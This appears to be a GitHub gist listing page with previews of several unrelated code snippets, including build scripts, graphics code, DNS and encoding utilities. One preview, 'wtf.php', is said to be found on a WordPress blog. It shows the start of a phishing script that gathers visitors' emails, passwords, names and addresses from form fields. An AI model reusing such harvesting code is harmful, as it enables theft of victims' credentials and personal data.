Skip to content

Instantly share code, notes, and snippets.

def decode(input):
output = 0
base = ' !"#$%&\'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}'
power = 0
for c in input:
output += base.index(c) * len(base)**power
power += 1
return output
#!/bin/sh
VERSION="1.2.3"
cd nginx-$VERSION
./configure \
--prefix=/usr \
--sbin-path=/usr/sbin/nginx \
--conf-path=/etc/nginx/nginx.conf \
@0xa
0xa / wtf.php
Created April 28, 2013 13:53
Found in a WordPress blog.
<?php
$ip = getenv("REMOTE_ADDR");
$zobab .= "------------------[Info Facture]------\n";
$zobab .= "Email : ".$_POST['email']."\n";
$zobab .= "Mot de passe : ".$_POST['pass']."\n";
$zobab .= "Nom & Prenom : ".$_POST['civil']." ".$_POST['nom']."\n";
$zobab .= "Adresse1 : ".$_POST['adresse1']."\n";
$zobab .= "Adresse2 : ".$_POST['adresse2']."\n";
$zobab .= "Ville : ".$_POST['ville']."\n";
$zobab .= "Code postale : ".$_POST['cp']."\n";
@0xa
0xa / main.cpp
Created May 11, 2013 12:10
A green square.
void drawStuff() {
static GLfloat wtf = .0f; static bool way = true;
glColor3f(.0f, (wtf+=.002f*((way=(wtf<.0f||wtf>=.6f)?!way:way)?1:-1)), .0f);
glBegin(GL_QUADS); {
glVertex2f(0, 0); glVertex2f(400, 0);
glVertex2f(400, 400); glVertex2f(0, 400);
} glEnd();
}
@0xa
0xa / reverses.c
Created June 8, 2013 20:12
Generate AAAA and PTR DNS fields for reverses of an IPv6 range.
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <time.h>
const char *reverse_root = "ip.vpn.xomg.net.";
unsigned short ip6_range[8] = {0x2001, 0x41d0, 0x8, 0x144d, 0xcc, 0, 0, 0};
const char ip6_netmask = 7;
const char ip6_ignore_subs = 0;
@0xa
0xa / basewtf.py
Created June 25, 2013 01:59
Encode anything to UTF-8 /o/
#!/usr/bin/python3
def bwtf_encode_block(input):
output = [0, 0]
if len(input) == 3:
output[0] = 0x1000 | ((input[0] << 4) | (input[1] & 0x0f))
output[1] = 0x1000 | (((input[1] & 0xf0) << 4) | (input[2]))
elif len(input) == 2:
output[0] = 0x1000 | ((input[0] << 4) | (input[1] & 0x0f))
namespace Kademlia {
template<int _Size, class _Parent>
struct ID {
char data[_Size];
inline _Parent operator^(ID y) {
_Parent result;
int i;
for (i=0; i<_Size; i++) {
result.data[i] = data[i] ^ y.data[i];
#!/bin/sh
VERSION="1.2.3"
cd nginx-$VERSION
./configure \
--prefix=/usr \
--sbin-path=/usr/sbin/nginx \
--conf-path=/etc/nginx/nginx.conf \
@0xa
0xa / vpn-debug.sh
Last active December 23, 2015 18:09
#!/bin/bash
TESTV='10.99.0.20'
TEST4='8.8.4.4'
TEST6='2001:4860:4860::8888'
TEST_DOMAIN='google.com'
VPN_DNS='10.99.0.20'
EXT_DNS='8.8.4.4'
OUTPUT=$(mktemp --suffix='.txt')
@0xa
0xa / if.py
Created October 4, 2013 16:25
return \
self.get_index() if get & index else \
self.get() if get else \
self.post_index() if post & index else \
self.post() if post else \
HTTPBadRequest()